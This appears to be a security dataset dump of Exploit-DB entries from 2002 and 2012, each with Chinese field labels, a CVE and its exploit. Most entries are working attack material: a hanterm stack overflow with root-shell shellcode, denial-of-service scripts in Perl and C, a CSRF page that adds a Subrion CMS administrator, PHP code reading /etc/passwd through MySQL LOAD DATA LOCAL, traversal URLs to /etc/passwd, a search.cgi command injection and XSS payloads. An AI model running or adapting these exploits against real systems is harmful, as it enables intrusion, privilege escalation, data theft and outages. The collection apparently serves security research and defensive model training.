QLWD/code_shield huggingface dataset:
标题: OS/400 - User Account Name Disclosure EDB-ID: 21283 CVE: 2002-1731 类型: LOCAL 平台: MULTIPLE 发布日期: 2002-02-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/4059/info

AS/400 is a midrange computer platform developed by IBM. It is designed to be highly reliable and efficient, and uses the OS/400 operating system.

An information disclosure vulnerability has been reported to exist in OS/400 systems. An authenticated user may be able to obtain a list of all valid user accounts. The user must be running a 5250 emulator.

The user may, after authentication, access the 'System Request' menu and obtain a list of all object names of type USRPRF. The 'System Request' feature is installed by default.

This information may be useful in attempting further, intelligent attacks against the vulnerable server.

Sign-on to AS/400
Issue system request (Shift + Esc key)
Hit enter
Choose option 3, display current job
Choose option 13, display library list
Choose option 5 next to library QSYS
Scroll down to view names of all objects of type *USRPRF (user profile) URL: https://www.exploit-db.com/exploits/21283
标题: HP AdvanceStack Switch - Authentication Bypass EDB-ID: 21285 CVE: 2002-0250 类型: REMOTE 平台: HARDWARE 发布日期: 2002-02-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/4062/info

HP AdvanceStack 10Base-T Switching Hubs combine 10Base-T functionality with the performance of switching.

It has been reported that authentication for HP J3210A 10Base-T Switching Hubs may be bypassed by an unprivileged user who accesses one of the administrative web pages directly.

The attacker may allegedly change the superuser password of the device via this interface and gain access to the administrative facilities of the device. Additionally, authentication credentials are disclosed to the attacker.

*Reportedly, the password is stored in plain text and can be revealed by viewing the source of the web page. 

http://host/security/web_access.html URL: https://www.exploit-db.com/exploits/21285
标题: AtheOS 0.3.7 - Change Root Directory Escaping EDB-ID: 21282 CVE: 2002-0244 类型: LOCAL 平台: ATHEOS 发布日期: 2002-02-07 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/4051/info

AtheOS is a freely available, open source operating system. It is distributed under the GPL, and maintained by the AtheOS project.

It is possible to escape change rooted directories on AtheOS. Due to insufficient handling of relative pathes, a process in the change rooted directory may change directory using the dot-dot-slash (../) specifier. This would allow access to the system with the privileges of the change rooted process. 
*/

#include <stdio.h>
#include <unistd.h>
#include <dirent.h>

int main(void)
{
    register DIR *d;
    register const struct dirent *e;

    if (chdir("/") || chroot("/tmp") || chdir("/") ||
        (d = opendir("..")) == NULL) {
        return 1;
    }
    while ((e = readdir(d)) != NULL) {
        puts(e->d_name);
    }
    return 0;
} URL: https://www.exploit-db.com/exploits/21282
标题: Phusion WebServer 1.0 - Long URL Denial of Service EDB-ID: 21293 CVE: 2002-0289 类型: DOS 平台: WINDOWS 发布日期: 2002-02-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/4118/info

Phusion Webserver is a commercial HTTP server that runs on Microsoft Windows 9x/NT/2000 operating systems.

It is possible for a remote attacker to deny service to legitimate users of the service by submitting an excessively long web request (approximately 3000+ bytes).

It should be noted that this issue is due to a remotely exploitable buffer overflow condition. 

#!/usr/bin/perl
#
# Simple script to send a long 'A^s' command to the server, 
# resulting in the server crashing.
#
# Phusion Webserver v1.0 proof-of-concept exploit.
# By Alex Hernandez <al3xhernandez@ureach.com> (C)2002.
#
# Thanks all the people from Spain and Argentina.
# Special Greets: White-B, Pablo S0r, Paco Spain, L.Martins, 
# G.Maggiotti & H.Oliveira.
# 
#
# Usage: perl -x Phusion_DoS.pl -s <server>
#
# Example: 
#
# perl -x Phusion_DoS.pl -s 10.0.0.1
# 
# Crash was successful !
#

use Getopt::Std;
use IO::Socket;

print("\nPhusion Webserver v1.0 DoS exploit (c)2002.\n");
print("Alex Hernandez al3xhernandez\@ureach.com\n\n");

getopts('s:', \%args);
if(!defined($args{s})){&usage;}

($serv,$port,$def,$num,$data,$buf,$in_addr,$paddr,$proto);

$def = "A";
$num = "3000";
$data .= $def x $num;
$serv = $args{s};
$port = 80;
$buf = "GET /cgi-bin/$data /HTTP/1.0\r\n\r\n";


$in_addr = (gethostbyname($serv))[4] || die("Error: $!\n");
$paddr = sockaddr_in($port, $in_addr) || die ("Error: $!\n");
$proto = getprotobyname('tcp') || die("Error: $!\n");

socket(S, PF_INET, SOCK_STREAM, $proto) || die("Error: $!");
connect(S, $paddr) ||die ("Error: $!");
select(S); $| = 1; select(STDOUT);
print S "$buf";


print("\nCrash was successful !\n\n");

sub usage {die("\n\nUsage: perl -x $0 -s <server>\n\n");} URL: https://www.exploit-db.com/exploits/21293
标题: Hanterm 3.3 - Local Buffer Overflow (2) EDB-ID: 21281 CVE: 2002-0239 类型: LOCAL 平台: LINUX 发布日期: 2002-02-07 漏洞利用脚本: // source: https://www.securityfocus.com/bid/4050/info
 
Hanterm is a replacement for xterm which includes Hangul support, used for Korean language systems.
 
A buffer overflow error exists in hanterm. If it is called locally with a maliciously constructed parameter, it is possible to overflow a buffer. This can result in the return address of a stack frame being overwritten, and lead to the execution of arbitrary code.
 
As hanterm runs suid root on some systems, exploitation of this vulnerability may result in a local root compromise. 

/* hanterm_exp.c
 *
 * local exploit for hanterm
 *  .. tested in TurboLinux Server 6.5 (Japan)
 *
 * thanks my Japanese friend kaju(kaijyu)
 * and Japanese hacker UNYUN.
 *
 *                  by xperc@hotmail.com
 *                         2002/02/07
 */

#include <stdio.h>

#define NOP  0x90
#define MAXBUF  88
#define RETOFS  84
#define SHELL_OFS  22
#define ESP_OFS  -0xe38

unsigned int get_esp()
{
 __asm__("mov %esp,%eax");
}

int main()
{
        static char shellcode[]={
            0x31,0xc0,0x31,0xdb,0xb0,0x17,0xcd,0x80,

0x31,0xc0,0x31,0xdb,0xb0,0x2e,0xcd,0x80,
            0xeb,0x18,0x5e,0x89,0x76,0x08,0x31,0xc0,

0x88,0x46,0x07,0x89,0x46,0x0c,0xb0,0x0b,
            0x89,0xf3,0x8d,0x4e,0x08,0x8d,0x56,0x0c,
            0xcd,0x80,0xe8,0xe3,0xff,0xff,0xff,0x2f,
            0x62,0x69,0x6e,0x2f,0x73,0x68,0x00
        };
        unsigned int retadr;
 char buf[MAXBUF];
        int i;

 memset(buf,NOP,MAXBUF);

 retadr=get_esp()+ESP_OFS;
 printf("Jumping address = %p\n",retadr);

 for(i=RETOFS-32;i<RETOFS+32;i+=4){
  buf[i] =retadr&0xff;
  buf[i+1]=(retadr>>8)&0xff;
  buf[i+2]=(retadr>>16)&0xff;
  buf[i+3]=(retadr>>24)&0xff;
 }
 strncpy(buf+SHELL_OFS,shellcode,strlen
(shellcode));
 //buf[MAXBUF-1]='\0';       faint!:-(
 execl("/usr/bin/X11/hanterm","hanterm","-
fn",buf,(char *)0);
} URL: https://www.exploit-db.com/exploits/21281
标题: Thunderstone TEXIS 3.0 - Full Path Disclosure EDB-ID: 21276 CVE: 2002-0266 类型: REMOTE 平台: MULTIPLE 发布日期: 2002-02-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/4035/info

A vulnerability in TEXIS allows an attacker to view the full path to the web root.

If the attacker submits an HTTP request for an invalid path, the server will return an error page containing the path to the web root. System information may also be revealed.

Versions prior to TEXIS 4.03.1049406926 20030403 are vulnerable. 

http://www.example.com/texis/nonexistent/path/ URL: https://www.exploit-db.com/exploits/21276
标题: Portix-PHP 0.4 - 'view.php' Directory Traversal EDB-ID: 21278 CVE: 2002-2084 类型: WEBAPPS 平台: PHP 发布日期: 2002-02-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/4039/info

Portix-PHP is freely available web portal software. It is written in PHP and will run on most Unix and Linux variants.

Portix-PHP is prone to directory traversal attacks. The script view.php does not sufficiently filter '../' sequences from web requests, making it possible for an attacker to browse the filesystem of the host running the vulnerable software. Arbitrary web-readable files may be viewed by an attacker.

Successful exploitation may cause sensitive information to be disclosed to the attacker. Information gathered in this manner may be used to aid in further attacks against the host.

www.hostportix.com/index.php?l=forum/view.php&topic=../../../etc/passwd URL: https://www.exploit-db.com/exploits/21278
标题: Portix-PHP 0.4 - 'index.php' Directory Traversal EDB-ID: 21277 CVE: 2002-2084 类型: WEBAPPS 平台: PHP 发布日期: 2002-02-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/4038/info

Portix-PHP is freely available web portal software. It is written in PHP and will run on most Unix and Linux variants.

Portix-PHP is prone to directory traversal attacks. The script index.php does not sufficiently filter '../' sequences from web requests, making it possible for an attacker to browse the filesystem of the host running the vulnerable software. Arbitrary web-readable files may be viewed by an attacker.

Successful exploitation may cause sensitive information to be disclosed to the attacker. Information gathered in this manner may be used to aid in further attacks against the host. 

www.hostportix.com/index.php?l=../../../etc/passwd URL: https://www.exploit-db.com/exploits/21277
标题: Subrion CMS 2.2.1 - Cross-Site Request Forgery (Add Admin) EDB-ID: 21267 CVE: 2012-4773 类型: WEBAPPS 平台: PHP 发布日期: 2012-09-12 漏洞利用脚本: <!--


Title: Subrion CMS 2.2.1 CSRF Add Admin Exploit


Vendor: Intelliants LLC
Product web page: http://www.subrion.com
Affected version: 2.2.1

Summary: Subrion is a free open source content management system. It's
written in PHP 5 and utilizes MySQL database. Subrion CMS can be easily
integrated into your current website or used as a stand alone platform.
It's extremely flexible and scalable php system that stands for a content
management framework.

Desc: The application allows users to perform certain actions via HTTP
requests without performing any validity checks to verify the requests.
This can be exploited to perform certain actions with administrative
privileges if a logged-in user visits a malicious web site.

 - Usergroup 1 - Administrator
 - Usergroup 2 - Moderator
 - Usergroup 8 - Registered


Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.4
           MySQL 5.5.25a


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience


Vendor status:

[05.09.2012] Vulnerability discovered.
[06.09.2012] Contact with the vendor.
[07.09.2012] Vendor responds asking more details.
[07.09.2012] Sent detailed information to the vendor.
[10.09.2012] Vendor creates patch.
[11.09.2012] Vendor releases version 2.2.2 to address this issue.
[11.09.2012] Coordinated public security advisory released.


Advisory ID: ZSL-2012-5106
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5106.php


05.09.2012


-->


<html>
<head>
<title>Subrion CMS 2.2.1 CSRF Add Admin Exploit</title>
</head>
<body><center><br />
<form method="post" action="http://localhost/subrion/admin/accounts/add/" onsubmit="forge()">
<input type="hidden" name="username" value="Commando" />
<input type="hidden" name="fullname" value="Arnold Schwarzenegger" />
<input type="hidden" name="email" value="lab@zeroscience.mk" />
<input type="hidden" name="_password" value="l33tP4ss!" />
<input type="hidden" name="_password2" value="l33tP4ss!" />
<input type="hidden" name="usergroup" value="1" />
<input type="hidden" name="avatar" value="" />
<input type="hidden" name="sponsored" value="0" />
<input type="hidden" name="plan_id" value="1" />
<input type="hidden" name="sponsored_end" value="" />
<input type="hidden" name="status" value="active" />
<input type="hidden" name="save" value="Add" />
<input type="hidden" name="goto" value="list" />
<input type="hidden" name="old_name" value="ZSL" />
<input type="hidden" name="id" value="" />
<input type="submit" id="exploit" value="Forge!" />
</form></center>
<script type="text/javascript">
function forge(){document.getElementById("exploit").click();}
</script>
</body>
</html> URL: https://www.exploit-db.com/exploits/21267
标题: PHP 4.x/5.x MySQL Library - 'Safe_mode' Filesystem Circumvention (3) EDB-ID: 21266 CVE: 2004-0327 2002-0229 类型: REMOTE 平台: PHP 发布日期: 2002-02-03 漏洞利用脚本: <?php
/* 
source: https://www.securityfocus.com/bid/4026/info
 
PHP's 'safe_mode' feature may be used to restrict access to certain areas of a filesystem by PHP scripts. However, a problem has been discovered that may allow an attacker to bypass these restrictions to gain unauthorized access to areas of the filesystem that are restricted when PHP 'safe_mode' is enabled.
 
In particular, the MySQL client library that ships with PHP fails to properly honor 'safe_mode'. As a result, a user can issue a LOAD DATA statement to read files that reside in restricted areas of the filesystem (as determined by 'safe_mode').
*/

function r($fp, &$buf, $len, &$err) {
      print fread($fp, $len);
}

$m = new mysqli('localhost', 'aaaa', '', 'a');
$m->options(MYSQLI_OPT_LOCAL_INFILE, 1);
$m->set_local_infile_handler("r");
$m->query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");
$m->close();

?> URL: https://www.exploit-db.com/exploits/21266
标题: ICQ For Mac OSX 2.6 Client - Denial of Service EDB-ID: 21275 CVE: 2002-1773 类型: DOS 平台: OSX 发布日期: 2002-02-05 漏洞利用脚本: // source: https://www.securityfocus.com/bid/4031/info

ICQ For MacOS X is a port of the popular Mirabilis ICQ client to the Apple MacOS X platform. It is freely available.

It is possible to cause MacOS X ICQ clients to crash by sending an excessively long request (19000+ characters). MacOS X ICQ clients normally bind to ports 49152 and 49159.

This is likely due to an unchecked buffer of some sort, so the possibility of exploiting this condition to execute arbitrary attacker-supplied instructions does exist. Though this possibility has not been confirmed.

This issue has been reported for ICQ For MacOS X version 2.6X Beta. Other versions may also be prone to this issue. 

/*
 * OSX ICQ Dos. sa7ori@tasam.com
 * Proof of concept. Worked on early versions of Licq. Now it apparently works
 * for various versions of OSX ICQ clients.
 * Tested and works on: ICQ MacOSX Ver 2.6x Beta Build 7
 * and several others.
 */

#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

int main(int argc, char **argv){
  char buf[19000]; int i, sock, result; struct sockaddr_in sin; struct hostent *gothost;
  printf("So you wanna DoS ICQ...\n sa7ori@tasam.com\nBRAAAAAZIIIIIIIL\n");
  if (argc < 3) {
      fprintf(stderr, "Usage: %s <icqclient> <port>\njeez. get it right.\n", argv[0]);
      exit(-1);
    }
  gothost = gethostbyname(argv[1]);
  if (!gothost){
      fprintf(stderr, "%s: Host resolv failed. Tard.\n", argv[1]);
      exit(-1);
    }
  sin.sin_family = AF_INET; sin.sin_port = htons(atoi(argv[2]));
  sin.sin_addr = *(struct in_addr *)gothost->h_addr; sock = socket(AF_INET, SOCK_STREAM, 0);
  result = connect(sock, (struct sockaddr *)&sin, sizeof(struct sockaddr_in));
  if (result != 0) {
      fprintf(stderr, "Connect Failed. reTard. %s\n", argv[1]);
      exit(-1);
    }
  if (sock < 0){
      fprintf(stderr, "Error in socket.");
      exit(-1);
    }
  for (i=0; i<19000; i++) /* send loop shaboing boing boing */
    strncat(buf, "A", 1);
  send(sock, buf, sizeof(buf), 0);
  close(sock);
  fprintf(stdout, "ShinryuHadoken\n..And an angry flurry of As flies from your outstreached hand. heh.\n\n");
} URL: https://www.exploit-db.com/exploits/21275
标题: PHP 4.x/5.x MySQL Library - 'Safe_mode' Filesystem Circumvention (1) EDB-ID: 21264 CVE: 2004-0327 2002-0229 类型: REMOTE 平台: PHP 发布日期: 2002-02-03 漏洞利用脚本: <?php
/* 
source: https://www.securityfocus.com/bid/4026/info

PHP's 'safe_mode' feature may be used to restrict access to certain areas of a filesystem by PHP scripts. However, a problem has been discovered that may allow an attacker to bypass these restrictions to gain unauthorized access to areas of the filesystem that are restricted when PHP 'safe_mode' is enabled. 

In particular, the MySQL client library that ships with PHP fails to properly honor 'safe_mode'. As a result, a user can issue a LOAD DATA statement to read files that reside in restricted areas of the filesystem (as determined by 'safe_mode').
*/

/*
   PHP Safe Mode Problem

   This script will connect to a database server running locally or
otherwise,
   create a temporary table with one column, use the LOAD DATA statement
to
   read a (possibly binary) file, then reads it back to the client.

   Any type of file may pass through this 'proxy'. Although unrelated,
this
   may also be used to access files on the DB server (although they must
be
   world-readable or in MySQLd's basedir, according to docs).
*/


$host = 'localhost';
$user = 'root';
$pass = 'letmein';
$db   = 'test_database';

$filename = '/var/log/lastlog';     /* File to grab from [local] server */
$local = true;                      /* Read from local filesystem */

$local = $local ? 'LOCAL' : '';


$sql = array (
   "USE $db",

   'CREATE TEMPORARY TABLE ' . ($tbl = 'A'.time ()) . ' (a LONGBLOB)',

   "LOAD DATA $local INFILE '$filename' INTO TABLE $tbl FIELDS "
   . "TERMINATED BY       '__THIS_NEVER_HAPPENS__' "
   . "ESCAPED BY          '' "
   . "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'",

   "SELECT a FROM $tbl LIMIT 1"
);

Header ('Content-type: text/plain');

mysql_connect ($host, $user, $pass);

foreach ($sql as $statement) {
   $q = mysql_query ($statement);

   if ($q == false) die (
      "FAILED: " . $statement . "\n" .
      "REASON: " . mysql_error () . "\n"
   );

   if (! $r = @mysql_fetch_array ($q, MYSQL_NUM)) continue;

   echo $r [0];
   mysql_free_result ($q);
} URL: https://www.exploit-db.com/exploits/21264
标题: PHP 4.x/5.x MySQL Library - 'Safe_mode' Filesystem Circumvention (2) EDB-ID: 21265 CVE: 2004-0327 2002-0229 类型: REMOTE 平台: PHP 发布日期: 2002-02-03 漏洞利用脚本: <?php
/* 
source: https://www.securityfocus.com/bid/4026/info
 
PHP's 'safe_mode' feature may be used to restrict access to certain areas of a filesystem by PHP scripts. However, a problem has been discovered that may allow an attacker to bypass these restrictions to gain unauthorized access to areas of the filesystem that are restricted when PHP 'safe_mode' is enabled.
 
In particular, the MySQL client library that ships with PHP fails to properly honor 'safe_mode'. As a result, a user can issue a LOAD DATA statement to read files that reside in restricted areas of the filesystem (as determined by 'safe_mode').
*/

file_get_contents('/etc/passwd');

$l = mysql_connect("localhost", "root");
mysql_query("CREATE DATABASE a");
mysql_query("CREATE TABLE a.a (a varchar(1024))");
mysql_query("GRANT SELECT,INSERT ON a.a TO 'aaaa'@'localhost'");
mysql_close($l); mysql_connect("localhost", "aaaa");

mysql_query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");

$result = mysql_query("SELECT a FROM a.a");
while(list($row) = mysql_fetch_row($result))
    print $row . chr(10);

?> URL: https://www.exploit-db.com/exploits/21265
标题: Faq-O-Matic 2.6/2.7 - Cross-Site Scripting EDB-ID: 21263 CVE: 2002-0230 类型: REMOTE 平台: CGI 发布日期: 2002-02-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/4023/info

FAQ-O-Matic is a freely available, open-source FAQ (Frequently Asked Questions) manager. It is intended to run on Linux and Unix variants.

FAQ-O-Matic does not sufficiently filter script code from URL parameters. It is possible to create a malicious link containing arbitrary script code. When a legitimate user browses the malicious link, the script code will be executed in the user's browser in the context of the website running Faq-O-Matic.

As a result, it may be possible for a remote attacker to steal cookie-based authentication credentials from a legitimate user of the service.

http://faqomaticsite/cgi-bin/fom/fom.cgi?cmd=<script>alert("superpetz")</script>&file=1&keywords=superpetz URL: https://www.exploit-db.com/exploits/21263
标题: Microsoft Site Server 3.0 - Cross-Site Scripting EDB-ID: 21260 CVE: 2002-2073 类型: REMOTE 平台: WINDOWS 发布日期: 2002-01-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/3999/info

Microsoft Site Server is designed to run on Microsoft Windows NT Server
platforms. It provides a means for users on a corporate intranet to
share, publish, and find information. Site Server Commerce Edition
incorporates the same features as well as providing an interface for
e-commerce sites to interact and conduct business with customers and
suppliers.

Various Microsoft Site Server ASP pages are prone to cross-site scripting attacks. It is possible to create a malicious link to a vulnerable ASP page which contains arbitrary script code. Script code will be executed in the browser of a legitimate user who browses the link, in the context of the Microsoft Site Server site. 

The vulnerable pages require that the legitimate user authenticates before accessing them. 

At the very least this may provide an opportunity for an attacker to steal cookie-based authentication credentials from a legitimate Microsoft Site Server user. 

Default.asp and formslogin.asp are known to be prone to this issue. It has been reported that a number of other ASP pages are also affected.

http://siteserverhost/SiteServer/Knowledge/Default.asp?ctr="><scr
ipt>alert("uhoh")</script>

http://siteserverhost/_mem_bin/formslogin.asp?"><script>alert("uh
oh")</script> URL: https://www.exploit-db.com/exploits/21260
标题: kicq 2.0.0b1 - Invalid ICQ Packet Denial of Service EDB-ID: 21262 CVE: 2002-0227 类型: DOS 平台: LINUX 发布日期: 2002-02-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/4018/info

kicq 2.0.0b1 is an ICQ client for the K Desktop Environment (KDE). kicq can be crashed remotely by initiating a telnet connection to a port it is listening on and sending "random" characters. This does not affect other components of the system, only the ICQ client.

bash-2.05$ telnet 10.0.0.1 1030
Trying 10.0.0.1...
Connected to 10.0.0.1.
Escape character is '^]'.
garbage
Connection closed by foreign host. URL: https://www.exploit-db.com/exploits/21262
标题: AHG Search Engine 1.0 - 'search.cgi' Arbitrary Command Execution EDB-ID: 21257 CVE: 2002-2113 类型: WEBAPPS 平台: CGI 发布日期: 2002-01-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/3985/info

Search.CGI is a component of the HTMLsearch Search Engine software distributed by AHG. The software is available for the Unix, Linux, and Microsoft platforms.

The search.cgi script included with the AHG Search Engine does not adequately filter input. Due to lack of sufficient input sanitization, it is possible for a remote user to pass semi-colon (;) and pipe (|) characters through a search request. This can result in the commands encapsulated between the symbols being executed with the privileges of the web server.

http://www.example.com/cgi-bin/publisher/search.cgi?dir=jobs&template=;ls|&output_number=10 URL: https://www.exploit-db.com/exploits/21257
标题: Sun Java Virtual Machine 1.2.2/1.3.1 - Segmentation Violation EDB-ID: 21259 CVE: 2002-2072 类型: LOCAL 平台: LINUX 发布日期: 2002-01-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/3992/info

Java programs run in an intepreted environment, the Java Virtual Machine (JVM). Sun has provided a reference JVM implementation for multiple platforms, including Solaris, Windows and Linux.

It is possible for a maliciously constructed, valid java program to crash the Sun JVM. This may result in a denial of service attack in a shared environment. The ability to consistantly exploit this vulnerability has been demonstrated on the Linux version of the Sun JVM.

public class CrashMe
{
    public static void main(String[] args)
    {
        java.security.AccessController.doPrivileged
        ((java.security.PrivilegedAction)null);
    }
} URL: https://www.exploit-db.com/exploits/21259